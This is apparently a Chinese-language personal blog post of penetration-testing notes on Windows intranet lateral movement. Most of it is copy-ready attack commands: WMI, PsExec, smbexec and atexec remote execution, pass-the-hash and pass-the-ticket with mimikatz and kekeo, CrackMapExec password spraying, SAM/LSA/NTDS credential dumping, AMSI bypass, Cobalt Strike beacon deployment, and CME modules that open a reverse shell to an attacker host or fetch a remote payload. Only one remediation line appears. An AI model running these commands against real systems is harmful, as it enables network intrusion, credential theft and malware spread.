banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

内网渗透基础

内网#

内网指的是内部局域网,常说的 LAN(local area network)。常见家庭 wifi 网络和小型的企业网络,通常内部计算机直接访问路由器设备,路由器设备接入移动电信的光纤实现上网。

image

内部局域网可以通过交换机 / 防火墙组成多个网络(局域),多个局域之间进行访问控制。新概念(安全域)。

image

如专门存放服务器的统称为 DMZ(非军事化区域),运维区,内网办公区等,常说的内网渗透就是在局域网内部渗透,内网渗透比较有难度的是域渗透

KB2871997&KB2928120#

微软在 2014 年发布了KB2871997KB2928120两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享,本地用户的 PTH 方式已经死掉,然而默认的 Administrator(SID 500)这个账户仍可以进行 PTH,并且在禁用 NTLM 的情况下,psexec 无法进行远程连接,但是使用 mimikatz 可以攻击成功。

UNC 路径#

UNC 路径代表通用命名约定路径(Universal Naming Convention),它是一种网络路径格式,用于标识在网络上共享的资源位置。UNC 路径允许您在本地网络中访问远程共享。

UNC 路径由两个反斜杠\,后跟远程计算机的名称或 IP 地址、可选的共享名称、可选的路径和文件名组成。例如:

\\ComputerName\ShareName\Path\FileName

其中 ComputerName 是远程计算机的名称或 IP 地址,ShareName 是共享名称,在访问共享时需要使用该名称,Path 是共享文件夹中的路径,FileName 是所需文件的名称。

WMI#

WMI(Windows management instrumentation)可以描述为管理 Windows 系统的方法和功能,我们可以把它当作 API 来与 Win 系统进行相互交流,WMI 在渗透测试中的价值在于它不需要下载和安装,WMI 是 Windows 系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。

135 端口#

RPC:远程过程调用服务,WMIC(winsows management instrumentation)用到这个端口。

image

wmic 具体用法如下:

# 打开一个计算器
wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe" 

#无回显
wmic /node:192.168.1.56 /user:administrator /password:aab+1s PROCESS call create "calc.exe"
wmic /node:192.168.1.56 /user:administrator /password:aab+1s process call create "cmd.exe /c ipconfig >C:\1.txt"

连接报错如下信息:

image

ip 错了报如下信息:

image

密码填错报如下信息:

image

用另一台计算机尝试连接,正常访问,命令执行成功,wmic 执行后无回显,需写入到文本文件中。

image

image

WMIEXEC#

获取交互式 shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.56 administrator aab+1s

image

执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.56 administrator aab+1s "cmdkey /list"

image

如上是提供了密码,如无密码,可以利用 wce 的 hash 注入,然后执行 wmiexec 就可以了。

wce –s 账号:主机名或域的名字:LM:NTLM

cscript //nologo wmiexec.vbs /shell 192.168.0.1

如果抓取的 LM hash 是 AAD3 开头的,或者是 No Password 之类的,计用 32 个 0 代替 LM hash

wmiexec.exe#

wmiexec.exe ./administrator:[email protected] "whoami"

image

hash 传递

wmiexec.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected] "ipconfig"

https://github.com/rootclay/WMIHACKER/blob/master/README_zh.md

137,138,139 端口#

137、138 为 UDP 端口,主要用于内网传输文件,NetBios/SMB 服务的获取主要是通过 139 端口。

445 端口#

共享文件夹、共享打印机

ipc$#

IPC$是共享 “命名管道” 的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,从 NT/2000 开始使用。

IPC$在同一时间内,两个 IP 之间只允许建立一个连接。

NT/2000 在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享 (c$,d$,e$……) 和系统目录 winnt 或管理员目录 (admin$) 共享。

net use \\192.168.1.56\c$ "password" /user:"domain\username"
net use \\192.168.1.56\c$ "aab+1s" /user:administrator

image

另一台主机 net use 远程连接

image

扩展语法#

net use \\192.168.1.56\c$

# 删除ipc$连接
net use \\192.168.1.56\ipc$ /del

# 将目标磁盘映射到本地
net use z: \\192.168.1.56\c$

# 删除映射
net use z: /del

# 关闭共享
net use ipc$ /del

ipc$ 空连接

横向渗透 SMB(通过 445 端口)#

利用 SMB 服务,需要先建立 IPC,可以通过 hash 传递来远程执行,默认回来 System 权限,需要目标防火墙开启 445 并允许通过。

psexec#

net use \\192.168.1.56\c$ "aab+1s" /user:administrator

PsExec.exe \\192.168.1.56 whoami

.\PsExec.exe -u administrator -p 123456 \\dc01 cmd

# 交互式shell(相同凭证可直接登录)
psexec -accepteula \\ip -s cmd.exe

image

执行原理

1. 通过ipc$连接,释放psexecsvc.exe到目标
2. 通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3. 客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4. 运行完后删除服务。这个在 windows 的日志中有详细的记录,另外 psexec 在少数情况下会出现服务没删除成功的 bug,所以一般不推荐使用 psexec,推荐 wmiexec

C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

image

cs - plugins#

选中需横向的主机,jump-psexec64

image

image

选择一个认证,listen 如果可出网,选择 1,内网横向则用 smb beacon2。

直接使用命令行。

jump [module] [target] [listener]
jump psexec64 192.168.10.173 local

image

通过 psexec 横向到目标机器,凭证用的是已知凭证去碰撞
image

此时整体拓扑如下,是父子关系,这是因为用的是 http beacon 直接连接 teamserver,如果用 smb beacon 就是 link 关系。

image

换一下 smb beacon

image

主机 ip 后面带有四个圆圈。

image

smb 的箭头是黄色

https://www.cnblogs.com/sup3rman/p/12381874.html

SMBEXEC#

明文传递

smbexec.exe administrator:[email protected]

image

hash 传递

hash传递:
smbexec -hashes :$HASH$ [email protected]
smbeexec -hashes :$HASH$ domain/[email protected]

dump hash

image

image

atexec#

  • 批量
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文 连接 

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文 回显版 

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量检测明文对应 IP 回显版 

FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量检测 HASH 对应 IP 回显版  

PTH#

域 / 工作组环境,内存中存在和当前机器相同的密码,在身份验证过程中,基本过程是从用户那里收集密码,然后对其进行加密,然后将正确密码的加密哈希用于将来的身份验证。

初次认证后,Windows 将哈希值保存在内存中,这样用户就不必一次又一次地输入密码。

在凭证转储期间,我们看到我们已经提取了大量的哈希值。现在作为攻击者,我们不知道密码。因此,在身份验证期间,我们提供哈希而不是密码。

Windows 比较哈希值并热烈欢迎攻击者。简而言之,这就是 Pass-the-Hash 攻击。

https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/

mimikatz - PTH#

privilege::debug 
sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

image

弹出窗口后,连接共享端口,传输文件

# privilege::debug
# sekurlsa::pth /user:Administrator /domain:WIN-P6KD23KACIJ /ntlm:04cea78fa35a5be51f4aee6375651e8a

image

拷贝文件

image

参考:
内网渗透 --Hash 传递攻击

PTK#

需要存在补丁kb2871997

使用minikatz获取aes256_hmac:
sekurlsa::ekeys
传递连接:sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b  

PTT#

实现步骤:  
1、生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c”  
2、导入票据 kerberos::ptt [[email protected]_krbtgt](mailto:[email protected]_krbtgt)[email protected]  
3、查看凭证 klist  
4、利用 net use 载入 dir \192.168.213.163\c$  

smbclient#

认证登录#

  • 明文
smbclient -L //192.168.10.173 -U Administrator
  • hash
smbclient.exe -hashes 00000000000000000000000000000000:04cea78fa35a5be51f4aee6375651e8a WIN-P6KD23KACIJ/[email protected]

image

空会话枚举#

smbclient -N -U "" -L \\192.168.1.214

rpcclient#

# rpcclient -U "" -N 10.10.10.161 
rpcclient $>enumdomusers

# rpcclient -U corp.pentest.lab/administrator 10.10.10.161 

cme#

https://mpgn.gitbook.io/crackmapexec/getting-started/installation/installation-on-windows

执行命令#

crackmapexec smb 192.168.10.173 -u administrator -H 04cea78fa35a5be51f4aee6375651e8a -x ipconfig

image

powershell

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'

bypass ASMI

#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'  --amsi-bypass /path/payload

image

cme 网络扫描#

crackmapexec smb 10.0.0.0/24

image

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -p aab+1s --shares
crackmapexec smb 192.168.10.83 -u airs-win7 -H 04cea78fa35a5be51f4aee6375651e8a --shares 

image

枚举空会话#

cme smb 10.10.10.161 -u '' -p ''
cme smb 10.10.10.161 --pass-pol
cme smb 10.10.10.161 --users
cme smb 10.10.10.161 --groups

cme smb 10.10.10.178 -u 'a' -p '' -shares
cme smb 10.10.10.178 -u -p -shares

# 以递归方式遍历所有共享s
crackmapexec smb  -u  -p  -M spider_plus

凭证获取#

crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --sam  
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --lsa
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds
crackmapexec smb 192.168.10.173 -u administrator -p aab+1s --ntds vss

msf 反弹 shell#

image

枚举远程目标上的活动会话#

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares

密码喷洒#

使用空格指定多个用户名 / 密码

#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18
#~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3

通过文本指定字典

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18
#~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt

找到密码后继续爆破

#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success

# 一对一爆破
#~ cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes

认证#

User/Hash

获取凭证如下:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
#~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
#~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
  • 本地认证
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth
#~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth
#~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth

爆破结果后如下:

	SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)  

winRM#

#~ cme winrm 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip

# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80

at、schtasks、#

  • at

windows 版本<2012,高版本中使用 schtasks 命令

at [\computername] [[id] [/delete] | /delete [/yes]]
at [\computername] <time> [/interactive] [/every:date[,...] | /next:date[,...]] <command>

生成 smb beacon

image

上传 smb beacon 文件

image

添加任务计划

shell at \\192.168.10.173 10:51 c:\local-smb.exe

image

已运行,无法反弹,smb shell 的问题。

换成 web beacon,成功反弹。

image

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/at

  • schtasks

windows>=2012

schtasks create

创建任务对应执行文件

schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun> [/s <computer> [/u [<domain>\]<user> [/p <password>]]] [/ru {[<domain>\]<user> | system}] [/rp <password>] [/mo <modifier>] [/d <day>[,<day>...] | *] [/m <month>[,<month>...]] [/i <idletime>] [/st <starttime>] [/ri <interval>] [{/et <endtime> | /du <duration>} [/k]] [/sd <startdate>] [/ed <enddate>] [/it] [/z] [/f]
schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F

schtasks run

执行文件任务

schtasks /run /s 192.168.213.163 /tn adduser /i

schtasks delete

删除执行文件任务

schtasks /delect /s 192.168.213.163 /tn adduser /f

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create


sharpwmi#

.\sharpwmi.exe login 192.168.10.1/24 administrator aab+1s cmd whoami

image

cs 报错

[-] Invoke_3 on EntryPoint failed.

image

nbtscan#

通过 IP 扫描网络获取 bios 名称(计算机名)

image

image

bash$ sudo nbtscan -v -s : 192.168.1.0/24
  • cs plugin

image

winRM#

WinRM(windows 远程管理)是 WS 管理协议的 Microsoft 实现,一种基于标准的 SOAP 协议,允许来自不同供应商的硬件和操作系统相互操作,能够对本地或远程的服务器进行管理,获得一个类似 Telnet 的交互式命令行 shell,以便降低系统管理员复杂的操作。

端口:
HTTP(5985)
HTTPS SOAP(5986)

前提:凭证及权限

CS 中有 WinRM 模块。

image

winrm:x86,通过 WinRM 来运行一个 PowerShell 脚本
winrm:x64,通过 WinRM 来运行一个 PowerShell 脚本

进入 winrm64 后,内容如下:

image

前提需要有认证,才可以横向进入,此处的认证获取可以通过内部撞库、历史 RDP 凭证等方式获取,内部撞库是拿已知的密码去尝试是否有复用密码,历史 RDP 凭证是如果管理员再内网通过 3389 登录后且记录了密码,可以通过获取历史 RDP 登录记录获取凭证。

如上图所示,已经拥有 192.168.1.214 的密码凭证,但不清楚 192.168.1.55 的凭证,此时可以尝试使用 192.168.1.214 的凭证。

监听器和会话按需选择,会话是当前的 beacon。

image

尝试运行,报错了。

jump winrm64 192.168.1.55 test

image

查看服务器端口情况,未开启 5985 端口。

image

可通过 winrm 命令开启 5985 端口,windows server 2008 默认 winrm 服务是启动的,但端口未开放,需要通过winrm quickconfig -q 或者 winrm qc开启端口。

image

  • 开启 winRM 服务

image

重新查看端口开放情况,5985 端口已打开。

image

  • 开启防火墙或关闭防火墙命令
C:\Windows\system32>netsh advfirewall firewall set rule group="Windows 远程管理" new enable=yes
  • 使用 powershell 连接服务器

需提前开启信任主机

PS C:\Users\Administrator> Set-Item wsman:\localhost\Client\TrustedHosts -value 192.168.1.* -Force
# 这个命令需要再客户端执行,而不是再服务端执行

或者用下面的命令
winrm set winrm/config/client @{TrustedHosts="*"}

PS C:\Users\Administrator> Enter-PSSession 192.168.1.55 -Credential administrator

image

image

输入凭证,连接成功。

image

或者

New-PSSession -ComputerName 192.168.1.55 -Credential (Get-Credential)
Enter-PSSession 1

image

通过 CS 操作

beacon> jump winrm64 192.168.1.55 test

image

成功返回 shell

image

修复建议:

禁用 WinRM

winrm delete winrm/config/listener?IPAdress=*+Transport=HTTP
  • ⚠️ windows8、windows10、windows server 2012 及以上系统,WinRM 服务默认开启。

evil-winrm#

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

WinRS#

WinRS (Windows Remote Shell) 是一种远程管理工具,用于在 Windows 远程服务器上运行命令行命令。WinRS 使用 WinRM(Windows Remote Management)协议向远程计算机发送命令行请求。
WinRS 在 Windows Server 2008 及更高版本的操作系统中预安装,并且可以在 Windows 7 及更高版本的操作系统中启用。要使用 WinRS,您必须在远程服务器上启用 WinRM,并且在本地计算机上运行命令时必须使用管理员权限。

winrs -r:192.168.1.55 "cmd /c ipconfig"

image

# 端口复用下
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s whoami
winrs -r:http://192.168.1.55 -u:administrator -p:aab+1s cmd

DCOM#

DCOM 代表分布式组件对象模型(Distributed Component Object Model),它是一种 Microsoft 的分布式系统服务。它允许计算机上的应用程序通过网络连接和通信。DCOM 使开发人员能够从远程计算机上执行代码,并使应用程序之间的通信更为容易和灵活。

PS C:\Users\Administrator> Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

image

PS C:\Users\Administrator> $a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.1.55"))

PS C:\Users\Administrator> $a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")

PS C:\Users\Administrator> Get-Content \\192.168.1.55\c$\fromdcom.txt
WIN-BVVD8VFVMPR

image

SCShell#

GitHub - Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command

No445#

GitHub - JDArmy/NO445-lateral-movement: command execute without 445 port

参考#

https://www.redteam101.tech/offensive-security/lateral-movement/shi-yong-scshell-jin-hang-heng-xiang-yi-dong
https://github.com/BlWasp/CME_cheatSheet
https://mpgn.gitbook.io/crackmapexec/
https://www.hackingarticles.in/lateral-moment-on-active-directory-crackmapexec/
https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
http://www.kxsy.work/2022/02/14/nei-wang-shen-tou-zui-shi-yong-de-heng-xiang-yi-dong-zong-jie/
https://www.cnblogs.com/gamewyd/p/6805595.html
https://www.cnblogs.com/zhengna/p/15309006.html
http://k8gege.org/Ladon/WinrmScan.html
https://cloud.tencent.com/developer/article/1937116

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.